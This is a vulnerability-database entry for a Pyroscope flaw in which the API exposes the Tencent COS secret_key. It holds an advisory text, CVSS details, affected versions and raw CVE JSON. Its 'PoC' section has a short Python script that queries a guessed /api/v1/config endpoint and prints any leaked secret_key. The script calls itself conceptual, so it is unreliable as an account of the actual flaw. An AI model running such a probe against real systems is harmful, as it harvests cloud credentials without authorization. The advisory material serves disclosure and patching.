Security Vulnerability Report
中文
CVE-2025-41118 CVSS 9.1 CRITICAL

CVE-2025-41118

Published: 2026-04-15 20:16:33
Last Modified: 2026-04-20 20:10:46

Description

Pyroscope is an open-source continuous profiling database. The database supports various storage backends, including Tencent Cloud Object Storage (COS). If the database is configured to use Tencent COS as the storage backend, an attacker could extract the secret_key configuration value from the Pyroscope API. To exploit this vulnerability, an attacker needs direct access to the Pyroscope API. We highly recommend limiting the public internet exposure of all our databases, such that they are only accessible by trusted users or internal systems. This vulnerability is fixed in versions: 1.15.x: 1.15.2 and above. 1.16.x: 1.16.1 and above. 1.17.x: 1.17.0 and above (i.e. all versions). Thanks to Théo Cusnir for reporting this vulnerability to us via our bug bounty program.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:grafana:pyroscope:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:grafana:pyroscope:1.16.0:*:*:*:*:*:*:* - VULNERABLE
Pyroscope < 1.15.2
Pyroscope 1.16.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # PoC for CVE-2025-41118: Pyroscope Tencent COS Secret Key Disclosure # This script attempts to retrieve the secret_key from a vulnerable Pyroscope instance. def check_vulnerability(target_url): # The specific endpoint might vary based on configuration, # often exposed via API configuration or debug endpoints. # This is a conceptual PoC based on the vulnerability description. api_endpoint = f"{target_url.rstrip('/')}/api/v1/config" try: response = requests.get(api_endpoint, timeout=10) if response.status_code == 200: data = response.json() # Check if storage configuration contains Tencent COS keys if 'storage' in data or 'tencent' in str(data).lower(): print(f"[+] Potential configuration exposed at {api_endpoint}") print(f"[+] Response Data: {data}") # Attempt to find secret_key pattern (heuristic) if 'secret_key' in str(data): print("[!!] CRITICAL: secret_key potentially leaked!") return True else: print(f"[-] Endpoint returned status code: {response.status_code}") except Exception as e: print(f"[-] Error connecting to target: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <http://target-pyroscope-url>") else: check_vulnerability(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-41118", "sourceIdentifier": "[email protected]", "published": "2026-04-15T20:16:32.933", "lastModified": "2026-04-20T20:10:46.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pyroscope is an open-source continuous profiling database. The database supports various storage backends, including Tencent Cloud Object Storage (COS).\n\nIf the database is configured to use Tencent COS as the storage backend, an attacker could extract the secret_key configuration value from the Pyroscope API.\n\nTo exploit this vulnerability, an attacker needs direct access to the Pyroscope API. We highly recommend limiting the public internet exposure of all our databases, such that they are only accessible by trusted users or internal systems.\n\nThis vulnerability is fixed in versions:\n\n1.15.x: 1.15.2 and above.\n1.16.x: 1.16.1 and above.\n1.17.x: 1.17.0 and above (i.e. all versions).\n\nThanks to Théo Cusnir for reporting this vulnerability to us via our bug bounty program."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:grafana:pyroscope:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.15.2", "matchCriteriaId": "3554C0BB-F76C-461C-9693-98306292F7EC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:pyroscope:1.16.0:*:*:*:*:*:*:*", "matchCriteriaId": "0DEE5116-C836-4078-814C-DD2414187DEC"}]}]}], "references": [{"url": "https://grafana.com/security/security-advisories/cve-2025-41118", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}